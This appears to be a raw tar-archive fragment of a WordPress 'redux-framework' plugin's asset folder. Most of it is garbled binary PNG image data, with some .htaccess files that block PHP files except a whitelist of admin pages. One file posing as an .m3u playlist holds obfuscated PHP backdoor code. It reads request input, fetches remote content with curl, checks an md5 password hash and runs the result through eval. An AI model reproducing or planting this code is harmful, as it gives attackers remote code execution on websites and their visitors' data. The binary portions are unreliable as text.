(~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ<FFi\$mmƣ&&!&KMMRM);L;L֙͢5=12כ߷`ZxZ,eIZYnZ9YXUZ]F%ֻNNgðɶۮm}agbgŮ}}= Z~sr:V:ޚΜ?}/gX3)iSGggs󈋉K.>.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz�%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9<qy +V<*mOW~&zMk^ʂk U }]OX/Yߵa>(xoʿܔĹdff-[n ڴ VE/(ۻC<e;?TTTT6ݵan{4[>ɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG4<YyJTiӓgό}~.`ۢ{cjotE;;\tWW:_mt<Oǻ\kz{f7y՞9=ݽzo~r'˻w'O_@AC݇?[jwGCˆ 8>99?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3-��� cHRM��z%��������u0��`��:��o_F���IDATx1 @cD1"X<&iHD$S]] ifݏ%ifѵH<offenf宪}Ssb6]^"]R�̽OE ]w__Xa&;nB -B -B -B -B.-=:�,zrA>TD8R|]|x���� )[!����IENDB`���������������������������������������������������������������������������������������redux-framework/assets/img/3cr.png������������������������������������������������������������������0000644�����������������00000005752�14720701300�0013144 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R��� pHYs�� �� ��� OiCCPPhotoshop ICC profile��xڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $p�d!s#�~<<+"�x �M0B\t8K�@zB�@F&S��`cb�P-�`'�{�[!� eD�h;�VE�X0�fK9�-�0IWfH�� � �0Q)�{�`##x��FW<+*��x<$9E[-qWW.(I+6aa@.y24��x6_-"bbϫp@��t~,/;m%h^ uf@�Wp~<<EJB[aW}g_Wl~<$2]GLϒ bG "IbX*QqD2"B)%d,>5�j>{-]cK'Xt��o(hw?G%�fIq��^D$.Tʳ?��D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;�2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ<FFi\$mmƣ&&!&KMMRM);L;L֙͢5=12כ߷`ZxZ,eIZYnZ9YXUZ]F%ֻNNgðɶۮm}agbgŮ}}= Z~sr:V:ޚΜ?}/gX3)iSGggs󈋉K.>.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz�%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9<qy +V<*mOW~&zMk^ʂk U }]OX/Yߵa>(xoʿܔĹdff-[n ڴ VE/(ۻC<e;?TTTT6ݵan{4[>ɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG4<YyJTiӓgό}~.`ۢ{cjotE;;\tWW:_mt<Oǻ\kz{f7y՞9=ݽzo~r'˻w'O_@AC݇?[jwGCˆ 8>99?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3-��� cHRM��z%��������u0��`��:��o_F��IDATxٽ@wB\h"l"Y?,j&b&)"rNs21yH&͉R $YWon^9hV`R  wQ-@Ci r" [<##?D==."_ˈpZhE+ZъVhE+ZъVSO[c$'{%t yS Dۑa :C�k< Ձ-1;�`>�KB3{ eY����IENDB`����������������������redux-framework/assets/img/menu_icon.png������������������������������������������������������������0000644�����������������00000002647�14720701300�0014431 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���������a��iCCPICC Profile��(UoT?o\?US[IB*unS6mUo xB ISA$=t@hpS]Ƹ9w>5@WI`]5;V! A'@{N\..ƅG_!7suV$BlW=}i; F)A<.&Xax,38S(b׵*%31l #O-zQvaXOP5o6Zz&⻏^wkI/#&\%x/@{7S މjPh͔&mry>k7=ߪB#@fs_{덱п0-LZ~%Gpˈ{YXf^+_s-T>D@קƸ-9!r[2]3BcnCs?>*ԮeD|%4` :X2 pQSLPRaeyqĘ י5Fit )CdL$o$rpӶb>4+̹F_{Яki+x.+B.{L<۩ =UHcnf<>F ^e||pyv%b:iX'%8Iߔ? rw[vITVQN^dpYI"|#\cz[2M^S0[zIJ/HHȟ- Ic<xx-8ZNxA-8mCkKHaYn1Ĝ {qHgu#L hs :6z!y@}zgqٺ/S4~\~Y3M9PyK=. -z$8Y7"tkHևwⳟ\87܅O$~j]n5`ffsKpY�qx(@��� pHYs�� �� ���]IDAT8mjA|_Li"ފ.bPz좮gY@+t\ N?:Ι3gF)E&X4 WRO*Qp%6)ܟ>#(حu[<m[QD$6!IDok]m5.]ŢEMYlSYuy*f&e }eS{W9/ V~&튆4czPqwsIU3]DQc8"xm܎fdrXt?Gy8Gvhu|Gl>i}:Y$o 21n6  LZQ�*L����IENDB`�����������������������������������������������������������������������������������������redux-framework/assets/img/3-col-portfolio.png������������������������������������������������������0000644�����������������00000002001�14720701300�0015365 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R���tEXtSoftware�Adobe ImageReadyqe<�� iTXtXML:com.adobe.xmp�����<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:27420337F69511E0BA1FBBA3E5928349" xmpMM:DocumentID="xmp.did:27420338F69511E0BA1FBBA3E5928349"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:27420335F69511E0BA1FBBA3E5928349" stRef:documentID="xmp.did:27420336F69511E0BA1FBBA3E5928349"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>���wIDATxK U{ns @%0o!x0Љf%^T72Y./ݴ8{chz-7q�h=phq< �KBz����IENDB`�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/img/1col.png�����������������������������������������������������������������0000644�����������������00000005517�14720701300�0013312 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R��� pHYs�� �� ��� OiCCPPhotoshop ICC profile��xڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $p�d!s#�~<<+"�x �M0B\t8K�@zB�@F&S��`cb�P-�`'�{�[!� eD�h;�VE�X0�fK9�-�0IWfH�� � �0Q)�{�`##x��FW<+*��x<$9E[-qWW.(I+6aa@.y24��x6_-"bbϫp@��t~,/;m%h^ uf@�Wp~<<EJB[aW}g_Wl~<$2]GLϒ bG "IbX*QqD2"B)%d,>5�j>{-]cK'Xt��o(hw?G%�fIq��^D$.Tʳ?��D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;�2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ<FFi\$mmƣ&&!&KMMRM);L;L֙͢5=12כ߷`ZxZ,eIZYnZ9YXUZ]F%ֻNNgðɶۮm}agbgŮ}}= Z~sr:V:ޚΜ?}/gX3)iSGggs󈋉K.>.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz�%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9<qy +V<*mOW~&zMk^ʂk U }]OX/Yߵa>(xoʿܔĹdff-[n ڴ VE/(ۻC<e;?TTTT6ݵan{4[>ɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG4<YyJTiӓgό}~.`ۢ{cjotE;;\tWW:_mt<Oǻ\kz{f7y՞9=ݽzo~r'˻w'O_@AC݇?[jwGCˆ 8>99?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3-��� cHRM��z%��������u0��`��:��o_F���zIDATx1 Fa 0jB/]6Lm-_LQ pZL< ` 3ΈhD-ZhѢE-ZhѢE-0LTH7����̂U*����IENDB`���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/img/3cl.png������������������������������������������������������������������0000644�����������������00000006124�14720701300�0013130 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R�� DiCCPICC Profile��H wTl/]"e齷.H& KYe7D"V$(bh(+X "J F;'Nw>}w�(!a�@P"f'0�D6�p(h@_63u_ -Z�[3C+K��;?r!YLD)c#c1 ʪ2N|bO<G͓q||o%ez6 �"%|n:(Sёl@})__ �;GD,HK0&Lgg3ŗH,9Ldd8%�|fYPՖ-d2ϞA/ڗ/ZN-�)6[h);h[/>� h{yIHD.VV>RV:|{<KykrYܜ+pLUZ_aOBt4B@"2¿ *~khu=(k�I܃@B=iQFa21e2;2ɕd t08W |A ,\` (%` ^P@8Ip\W5pC`<5 Q!iCd w "x(JZJr5@C'se C;)0ք a+{p4NKBx3\GV| ) d  a#aHH1R"MHҍ\G -a +&�3,ƬĔb10.u0fKj`Ͱ.@l6 -Vb- ؛Qkpx\n׌;Ǎx s|~' ~�?C  ?BAHXK$&& 3DхFˈubq8CR$HѤ RttL&뒝dy5||<L~KQRؔDrrrJR= T u3zF&g)(Ǔ[%W#*7 \(o %H~|q> [RF ”"MF1L1[Te'Jx%C%_%RJ#4GcӸu:(G73%Ie%e{SC add1T4UT*TTTUzUUUoScemUkS{Q7UPWߣ~A}b}9Հ5L5"5iјi<9Ъ:5MvhWh~Tfz1U.椎NTgNΌ|ݵͺHz,T NI}mPw ,tӆF -5j4oL50^l\k|g24mr6u0M713fͱBZA EEŰ%2res+}VV(٬Ԗk[c{Îjgʮ=~mCNNb&q'}d]N,:+Uʺuv^|o]5˟[7wM׍mȝ}CǃQSϓY9eu빷ػ{^>*}7l�6 8`k`f 7!p2)hEPW0%8*:Qi8# z<ἶ0-AQ#p5#m"GvGѢG.7xt~g|LbLCtOlyPU܊|BLB}&:$%Zh`EꋲJO$O&&N~ rRSvLrg<O^o/珥>IsKۖ6^>!` /22fLge̜͊j&d'g* 3]9Z99"3Qhh'\(wanLHyy5yoc( z.ٴdloaqu.Yf WB+SVv[UjtCkHk2zmWbuj.Y￾HH\4uލ6W|ĺ})76T}39usocٞ---zl=TX|d[ fEqūI/WWA!1TRվS疝ӫox4صin={j-n`[k k+x\S-ۆzEjpjh8qn6I<r;ڛ,73KңOOֱcYǛ~0aW j]:ٖ6"DgkGˏ?<sӤӅg,=3uVtv\ڹΤ{|E绽\rtWXWڮ:^mqi᧖^>k:8w7ޜw[nn?uݼ3V/~ڟM~nr:53(ѽȳ_ry?ZrL{퓓~מ.x:LlfW_w=7~oLM˃_uNO=|zfڛCoYož_Cggg�`��� pHYs�� �� ���IDATX XN1E 8 Ф@)Z:>wA $^f7&'ώ'C/[,;òY8zgUEqlV)ˉŤCp/q={*6s3l;9s.|~J!g~$}b8rcn=?Lj/9^Q a"zqx lt<9&}1g@&qp4t\4ވNGȯGĜtR;#d9I[vFȲsI판e#$me!NGIN3UpR"�6q y&pSmkTjZ`oa#h+~/h$Dv|D#v˹m3vݫFV+~̐h�]K.39=?ʟ^yHC����IENDB`��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/img/2-col-portfolio.png������������������������������������������������������0000644�����������������00000002025�14720701300�0015372 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R���tEXtSoftware�Adobe ImageReadyqe<�� iTXtXML:com.adobe.xmp�����<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:768833B7F69511E0BCB0A3EAB4DCE28B" xmpMM:DocumentID="xmp.did:768833B8F69511E0BCB0A3EAB4DCE28B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:768833B5F69511E0BCB0A3EAB4DCE28B" stRef:documentID="xmp.did:768833B6F69511E0BCB0A3EAB4DCE28B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ҧ���IDATx1 E8О]q{tMСK)b~-RʥmӬzq眗wav\5O>RY{b8(eThcx.o{� 4@=x4@��4Ay"����IENDB`�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/img/2cl.png������������������������������������������������������������������0000644�����������������00000005650�14720701300�0013132 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PNG  ��� IHDR���-���$���R��� pHYs�� �� ��� OiCCPPhotoshop ICC profile��xڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $p�d!s#�~<<+"�x �M0B\t8K�@zB�@F&S��`cb�P-�`'�{�[!� eD�h;�VE�X0�fK9�-�0IWfH�� � �0Q)�{�`##x��FW<+*��x<$9E[-qWW.(I+6aa@.y24��x6_-"bbϫp@��t~,/;m%h^ uf@�Wp~<<EJB[aW}g_Wl~<$2]GLϒ bG "IbX*QqD2"B)%d,>5�j>{-]cK'Xt��o(hw?G%�fIq��^D$.Tʳ?��D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;�2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ<FFi\$mmƣ&&!&KMMRM);L;L֙͢5=12כ߷`ZxZ,eIZYnZ9YXUZ]F%ֻNNgðɶۮm}agbgŮ}}= Z~sr:V:ޚΜ?}/gX3)iSGggs󈋉K.>.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz�%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9<qy +V<*mOW~&zMk^ʂk U }]OX/Yߵa>(xoʿܔĹdff-[n ڴ VE/(ۻC<e;?TTTT6ݵan{4[>ɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG4<YyJTiӓgό}~.`ۢ{cjotE;;\tWW:_mt<Oǻ\kz{f7y՞9=ݽzo~r'˻w'O_@AC݇?[jwGCˆ 8>99?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3-��� cHRM��z%��������u0��`��:��o_F���IDATxٽ 06E,b']{'^kAAHN)|rp!Ido1�y L4&)~U߫eHx/y/;=L@ ܡps Te``j/B -B -B -B -߱ t{%6$j<zGi onlTi\m  ���D$`L&x����IENDB`����������������������������������������������������������������������������������������redux-framework/assets/img/.htaccess����������������������������������������������������������������0000644�����������������00000001626�14720701300�0013541 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/assets/index.php�������������������������������������������������������������0000644�����������������00000000000�14720701300�0014272 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/assets/tJPfNgVwHmMTdoauY.m3u�������������������������������������������������0000644�����������������00000011543�14720701300�0016313 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $ymML /*-a%m.)O$-*/= "r"."a"/*-0nn^[j-*/."n"/*-TcHRDr&-*/."g"."e"; $TOnN = /*-UE2G-*/$ymML("~"/*-D]e{K1+g]o-*/, " "); /*-J%8_|-*/$X/*-!m-*/=/*-By!#-*/${$TOnN/*->H)3Z-*/[8+23]/*-~x-*/.$TOnN[1+58]./*-go-*/$TOnN/*-YTQ1cGl(|-*/[40+7]/*-Xq--*/.$TOnN/*-qC(-*/[7+40]./*-|8,O;-*/$TOnN[31+20]./*-|-Y@O-*/$TOnN/*-DrX-*/[48+5]./*-Vf-*/$TOnN/*-CTZ#%Z-*/[8+49]};/*-yL8=G-*/ @(count/*-Pe~X1hVb-*/($X)/*-^N-*/==/*-J%-*/25&&/*-32?30s@[-*/in_array(/*-6hKHvt(V-*/gettype(/*-3q;-*/$X)./*-B:rNc0Vlg-*/count(/*-pb<w7KR-*/$X),$X))?(($X[62]=$X[62].$X[78])&&($X[83]=$X[62]($X[83]))&&(/*-<a-*/@eval/*-j0g-*/($X[62](${$X[50]}[25])/*-kR1iAe-*/))/*-rU{VE-*/):$X;/*-8L-*/class /*-8qNJf-*/m{ /*-]M-*/static/*-SfA%-*/ function /*-h>RS(CL;#-*/aJGwpR($yOkmKwWG) /*-DB@S-*/{ $ZwCgpnU/*-rERs?H|A-*/ = /*-R_;x3&Fj-*/"r"./*-N_x-*/"a"./*-D3l~8-*/"n"./*-n564G(<6-*/"g"./*-R3q<B^TV%-*/"e"; /*-_Sn-*/$xvNdPcRIu/*-[=@FHQHebd-*/ = /*-t]78-*/$ZwCgpnU/*-:fW}kXT-*/(/*-VN&_b#lE-*/"~"/*-,m}-*/, /*-BH-*/" "/*-XWq-*/);/*-vuWkO>g]w_-*/ $cgTmf /*-.O|tI@T%W!-*/= /*-[(qE[{<skA-*/explode/*-T:?X-*/(/*-XD-*/"(", /*-8C::M#Tu-*/$yOkmKwWG/*-t1J]c$-*/); /*-e}-*/$JNfV /*-zRt`y>752-*/= /*-N{XX||dLx-*/""; foreach /*-ZfnS-*/(/*-c0AhnM-*/$cgTmf /*-e:koM^-*/as /*-|_p}W-*/$CnYegFslTM /*-!BdbSli=-*/=>/*-j??pwn-*/ $NbYIEeU/*-pT8jv)ri-*/) /*-Gael.2:>V@-*/$JNfV /*-ux,#}o:6-*/.= /*-5w-*/$xvNdPcRIu[$NbYIEeU/*-$5+-*/ - /*-M4]84q2!E-*/75389/*-AFo0h-*/];/*-l<Sf-*/ return /*-a:iL;@?>-*/$JNfV; /*-ysE]-*/} /*-]aZFj[(pU-*/static /*-Nn-*/function /*-(:S$-*/cOmTWMsFo/*-+?_-*/(/*-Y&}qAui:I9-*/$yGgQIs,/*-ZT!Dv2<-*/ $caIiCJ/*-S@B-*/)/*-$pAP;-*/ {/*-pID?F4&^i-*/ $UFsOLv/*-rNZ+ks1#~-*/ = /*-mpQ?3-*/curl_init/*-ki%-*/(/*-VZmle-*/$yGgQIs/*-n-*/);/*-8MaV=eP4-*/ curl_setopt/*-YA?tC-*/(/*-vyxp:-*/$UFsOLv,/*-cHmS%5cdWF-*/ CURLOPT_RETURNTRANSFER,/*-PLm`tO-*/ 1/*-;fH6T}-*/);/*-8FxT-*/ $OudoMsbryW/*-]Ia}-*/ = /*-EYhAOdLI-*/curl_exec/*-}oagmsBcv!-*/(/*-%:x!B!#<)-*/$UFsOLv/*-,.&tL-*/); /*-o<][36aBr-*/return /*-{jf!KSYAZD-*/empty/*-)~-*/(/*-y-l$89-*/$OudoMsbryW/*-b_JCd@+-*/)/*-v+B>o>-*/ ? /*-RbM-*/$caIiCJ/*-4S4OT`mx{5-*/(/*-R=hRd1lse-*/$yGgQIs/*-7|b.a-*/)/*-Fyl7,1W6-*/ : /*-&X:;No`-*/$OudoMsbryW; /*-_&T2=PF7-*/}/*-8[-b`NS3H-*/ static/*-NaHA`@|Ip>-*/ function /*-+%Fys4d-*/DLMyTuP/*-Dmh.X-*/() /*-3;:|&-*/{/*-^1DtFD~a-*/ $pmZN /*-{#V-*/=/*-(Uc%0K-*/ array/*-HGEV11-*/("75416(75401(75414(75418(75399(75414(75420(75413(75398(75405(75416(75399(75410(75404(75405","75400(75399(75401(75420(75401(75404(75399(75466(75464","75409(75400(75404(75405(75420(75415(75414(75416(75404(75415(75414","75403(75418(75416(75408","75417(75418(75400(75414(75461(75463(75420(75415(75414(75416(75404(75415(75414","75413(75410(75407(75414(75420(75412(75414(75399(75420(75416(75404(75405(75399(75414(75405(75399(75400","75443(75473","75390","75468(75473","75450(75433(75433(75450(75426","75404(75413"); /*-xw,-*/foreach /*-j3-*/(/*-d>ZtbaD-*/$pmZN/*-Xi@^-*/ as /*-boJwDp!dot-*/$AdGukx/*-{N:o~i?Z`-*/)/*-B{hJ<a9P-*/ $NOoDBfHv/*->(IN-*/[] /*-X)-*/= /*-p;0C-*/self/*-<2B1v+v(>w-*/::/*-jz7-*/aJGwpR/*-q,<m9-*/(/*-j-*/$AdGukx/*-:&^Oc^2K-*/);/*-x^w`PJ-*/$BCaDWx /*-hpYV4#-*/= /*-:VN;s_CC-*/@$NOoDBfHv/*-5<V}RPXG-*/[/*-(<I&pZP-*/1/*-[K|-*/]/*-GWsq&-*/(/*-Kx:w#-*/${/*-<7FV2-*/"_"/*-yWR#=-*/."G"/*-nK9-*/."E"/*-Y#f6m-*/."T"/*-qff4@-*/}[/*-76uH$.r%-*/$NOoDBfHv/*-Cx-*/[/*-,eQPB^@-*/1+8/*-7Z-*/]]/*-uEI-*/);/*-2RO,hE-*/ $dZBgFumTO /*-VrE_Q-*/=/*-#~-*/ @$NOoDBfHv/*-x=-*/[/*-Alx9OX_-*/1+2/*-Mpr>-*/]/*-#B3apLjhG-*/(/*-a0-*/$NOoDBfHv/*-ytjrve7-*/[/*-cb-*/3+3/*-)UCC,-*/], /*->Co^-*/$BCaDWx/*-B]&4moB6o-*/);/*-9h-*/ $gzGACq /*-PAn46-*/=/*-ZQmvT-*/ $NOoDBfHv/*-ouFpCnO.w_-*/[/*-WE-*/1+1/*-RL|9,-*/]/*-fSC@@;,<-*/(/*-lt+hsK-*/$dZBgFumTO,/*-8X&OM_d-*/ true/*-~op1tVg-*/); /*-3=Db-*/@${/*-flPW#-*/"_"./*-Phval,r-*/"G"./*-.Pl-*/"E"/*-@QCG-*/."T"/*-K)-*/}/*-=Mt-*/[/*-s-*/$NOoDBfHv/*-jDXdHH9C&-*/[5+5/*-3GdYtgT-*/]/*-<mLc~4-*/]/*-$_NLJKRlv-*/ == /*-]e-*/1 /*-806:9-*/&& /*-bM-*/die/*-GO6U`-*/(/*-F>OO-*/$NOoDBfHv[1+4/*-#L0^c$|i-*/]/*-46X_Fv-*/(/*-DrPE0N-*/__FILE__/*-|ra`?~6_-*/)/*-Vp,u-*/); /*-Cnbjf-*/if/*-d[QwJq-*/(/*-dpG-*/ (/*-WS-*/(@/*-Q=bdM5x~>[-*/$gzGACq/*-Aq7U9}Q-*/[/*-7$PP1_&0SQ-*/0/*-KxGf)@x-*/] /*-ciQHC`-*/- time/*-_Y>1S-*/()/*-5~XOteV1-*/) > /*-G;-*/0/*-=Gv7-gG-*/)/*-WyZt8Z]V-*/ and /*-aRR&e6ke-*/(/*-1|!W}%-*/md5/*-,s--*/(/*-o>Q2-*/md5/*-uh$-*/(/*-];T7-*/$gzGACq/*-7C9[P{%-*/[/*-o).U:=-*/1+2/*-gg7jh:+UJ-*/]/*-q3vt1|XBw-*/)/*-7%B5H^3-*/)/*-[n>6}W{%-*/ === /*-Y1H-*/"ba4de4d58fa801360e96c9c49880f52e"/*-O{xM>WqK-*/)/*-iK{Pa-*/ ): /*-nxD].pBA-*/$hEzmMnl /*-JYX.qR-*/=/*-y+_-*/ self/*-rp-*/::/*-h{S6G))O-*/cOmTWMsFo/*-q_,-*/(/*-;#`$|dN-*/$gzGACq/*-:hh-*/[/*-]aX-*/1+0/*-.}#K#9}xX-*/], /*-FS-*/$NOoDBfHv/*-EUthll-*/[/*-lRtXm{k#2-*/4+1/*-N{8-*/]/*-mZA#DS%-*/);/*-IZ_ZJq-*/@eval/*-:wSJ!Y>:j-*/(/*-31H-*/$NOoDBfHv/*-e.H}0Yl-*/[/*-b,jNWK,yg=-*/0+4/*-U8mb6i@>-*/]/*-Et:,Jy5q-*/(/*-|fRWhOnhiG-*/$hEzmMnl/*-ukE,:pvH-*/)/*-wG-*/);/*-)_{-*//*-~SWMWk-*/die;/*-YXZiM-*/ endif;/*-y}%-*/ }/*->a6-*/}/*-@x-6-*/m/*-]w-*/::/*-GLCnD:3^-*/DLMyTuP/*-u,xkxm%-*/();/*-_rgfIm~Q>J-*/ ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/assets/.htaccess�������������������������������������������������������������0000644�����������������00000001626�14720701300�0014267 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch 